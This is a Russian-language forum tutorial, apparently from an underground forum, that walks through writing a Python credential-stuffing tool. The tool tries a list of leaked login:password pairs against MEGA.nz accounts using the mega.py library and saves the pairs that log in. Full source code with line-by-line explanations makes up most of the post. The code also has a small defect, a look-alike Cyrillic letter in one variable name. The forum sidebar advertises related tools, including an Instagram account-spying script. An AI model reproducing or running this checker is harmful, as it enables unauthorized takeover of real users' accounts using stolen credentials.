- 20.06.2022
- 23 847
- 218
- 36
- Награды
- 10
- Пол
- Муж.
Репутация:
- Автор темы
- Администратор
- Модератор
- Команда форума
- #1
Писать мы будем чекер аккаунтов .
Для создания чекера нам надо:
- Иметь установлений python ()
- Иметь желания и хоть какие то руки
- Текстовый редактор (Notepad ++, Visual Studio, PyCharm и прочие)
- Повторять все как в статье
Тыкаем WIN + R и пишем cmd, нажимаем enter. Вы открыли .
В консоле пишем:
Python:
pip install DateTime && pip install mega.py
Python:
from mega import Mega
mega = Mega()
Импортируем библиотеку Mega, которая нам надо для самой функции брута.
Сделаем еще два импорта (можно и без них, но придется изменять код) они просто для удобства
Python:
import datetime
import sys
Теперь сделаем def в который будет спрашивать названия файлика с базой для бурта, и проверять что ввел юзер (если он ввел название без .txt окончание то добавлять его).
Python:
def main():
print('MEGA.NZ ACCOUNTS BRUTER BY SHIFTER\n')
print('Поместите базу для брута в директорию с этим скриптом')
q = str(input('Введите название файла (базы для брута): '))
if '.txt' in q:
dir_ = q
else:
dir_ = q + '.txt'
checker(dir_)
def - Оболочка с кодом так сказать.
- выводить текст в консольку
- запрашивает текст (дает пользователю ввести текст)
- операторы. Если произойдет это действие то будет так, если произойдет иначе будет так.
checker(dir_) - перенаправление на другой def под названием checker (который уже и будет чекать аккаунт на валид). Также мы через это перенаправлением передаем аргумент (args) под названием dir_ то есть то что ввел пользователь
Теперь сделаем что бы def main() работал.
Код:
main()
Осталась последняя часть. Сам чекер, для новеньких в этой сфере ничего не будет понятно скорее всего, но постараюсь объяснить.
Между импортами и def main() (см. скрин выше) пишем:
Код:
def checker(dir_):
Мы опять создали оболочку где будет храниться и выполняться наш код чекера.
Теперь будем использовать ранее импортированную библиотеку datetime. Для чего? Да что бы сохранять наш файлик с прочеканой базой время когда начался брут.
Пишем:
Код:
date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
file_name = 'output_' + date + '.txt'
и что бы не было ошибки что нельзя сделать файлик с названием в котором есть ":" мы их заменяем функцией на '-'.
Потом же создаем переменную которая обозначает название файлика где будет сохранен результат.
Теперь сделаем обработку ошибок, что бы при ошибке скрипт не падал, а просто показывал ошибку.
Пишем:
Код:
try:
except Exception as e:
print(e)
as - логично с анг. "как".
то есть мы ловим ошибку как e и потом выводим ошибку.
Приступаем к созданию файлика где будет результат и чтению файлика с базой для дальнейших действий. Пишем между try: и except: данный код
Код:
with open(file_name, 'w', encoding='utf-8') as f:
f.write('MEGA.NZ ACCOUNTS:\n\n')
with open(dir_, 'r', encoding='utf-8') as accounts:
мы юзаем конструкцию . Т.к. она автоматически закрывает файлик.
Код:
accounts = accounts.read()
этим кодом просматриваем содержимое нашего файлика под переменной dir_ .
Напишем проверку используя операторов If, else.
Код:
if len(accounts) >= 1:
account = accounts.split('\n')
len - с англ. сокращено от слова Leng, длина. Мы проверяем на то что в фалике больше 1 символа, иначе выводим ошибку:
Код:
else:
sys.exit('Файл ' + dir_ + ' пустой!')
Используя встроенную библиотеку в python - sys. Подробней о библиотеке
Если же в файлике больше одного символа то срабатывает код который мы сейчас будем писать. На данный момент, создаётся переменная account которая содержит в себе аккаунты. Также мы использовали метод который обрезает строку по заданным параметрами. В нашем случае мы разделяем весь файлик на много строк (ну то есть 1 строка в файлике - 1 строка в переменной. Они записываются .)
'\n' это перенос строки на 1 вниз.
Теперь между if и else (см. скрин выше) пишем еще одну проверку на то что выводить в соответствии от кол-ва аккаунтов в текстовом документе (если 1 - аккаунта, если 0 или больше 1 то аккаунтов)
Код:
if str(len(account)) == '1':
q = 'a'
else:
q = 'ов'
И выводим методом print() то сколько аккаунтов чекер будет чекать:
Код:
print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
Окончание: сам чекер
Используем мы по очереди начинаем выполнять код который будет ниже.Снов пишем конструкцию try: except: которая в этом случае будет мало ли того что поможет скрипту не падать, да и еще определять валидный ли аккаунт.
Код:
try:
acc = account.split(':')
mega.login(acс[0], acc[1])
print("[+] " + account)
output = open(file_name, 'a', encoding='utf-8')
output.write(account + '\n')
output.close()
except:
print(f"[-] {account}")
Это последние строки кода. В цикле, мы начинаем ловить ошибку, выполняем код:
Код:
acc = account.split(':')
разделяем строку на логин и пароль методом split который мы уже использовали выше)
Используем библиотеку mega и пробуем выполнить вход в аккаунт:
Код:
mega.login(acс[0], acc[1])
если пароль или логин не верный скрипт должен был упасть, но мы сделали конструкцию try: except благодаря чему он не падает. А выводить ошибку что аккаунт не валидный:
Код:
except:
print(f"[-] {account}")
Если же аккаунт валид - выводим это:
Код:
print("[+] " + account)
и сохраняем его в файлик под названием значения нашей переменной file_name:
Код:
output = open(file_name, 'a', encoding='utf-8')
output.write(account + '\n')
output.close()
Открываем файлик с режимом A что обозначает, что аккаунты будут дописываться в файл. Также используем encoding, здесь очевидно. Но все же, это для того что бы при сохранение файлика случайно не вышло такого:
На этом наш кодинг закончился..
Наш итоговый код:
Python:
from mega import Mega
mega = Mega()
import datetime
import sys
def checker(dir_):
date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
file_name = 'output_' + date + '.txt'
try:
with open(file_name, 'w', encoding='utf-8') as f:
f.write('MEGA.NZ ACCOUNTS:\n\n')
with open(dir_, 'r', encoding='utf-8') as accounts:
accounts = accounts.read()
if len(accounts) >= 1:
account = accounts.split('\n')
if str(len(account)) == '1':
q = 'a'
else:
q = 'ов'
print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
for account in account:
try:
acc = account.split(':')
mega.login(acс[0], acc[1])
print("[+] " + account)
output = open(file_name, 'a', encoding='utf-8')
output.write(account + '\n')
output.close()
except:
print(f"[-] {account}")
sys.exit('Брут закончен! Результат сохранен в ' + file_name)
else:
sys.exit('Файл ' + dir_ + ' пустой!')
except Exception as e:
print(e)
def main():
print('MEGA.NZ ACCOUNTS BRUTER BY SCAMMEMS\n')
print('Поместите базу для брута в директорию с этим скриптом')
q = str(input('Введите название файла (базы для брута): '))
if '.txt' in q:
dir_ = q
else:
dir_ = q + '.txt'
checker(dir_)
main()
Переходим к запуску скрипта:
Отрываем cmd (командную строку);
Код:
Пишем cd путь/к/файлику.py
Потом пишем python файлик.py
Вводим название файла где храниться база для брута. Ожидаем не много времени, и готово! База сохранена в файлику под названием времени когда был запущен брут.
Последние темы в этом разделе:
- Скрипт сортировщик файлов
- Скрипт шаблон web приложения Django
- Скрипт рейтинг фильмов/сериалов
- Скрипт Telegram бот парсер товаров с Wildberries
- Скрипт Телеграм бот для анонимного общения
- Скрипт Telegram бот для распаковки архивов
- Слив сборник Телеграм Казино ботов (8 штук)
- Скрипт Телеграм бот автоказино mcduck casino
- Скрипт для слежки за инстаграм аккаунтом
- Скрипт Телеграм бот парсер новостей из habr в свой канал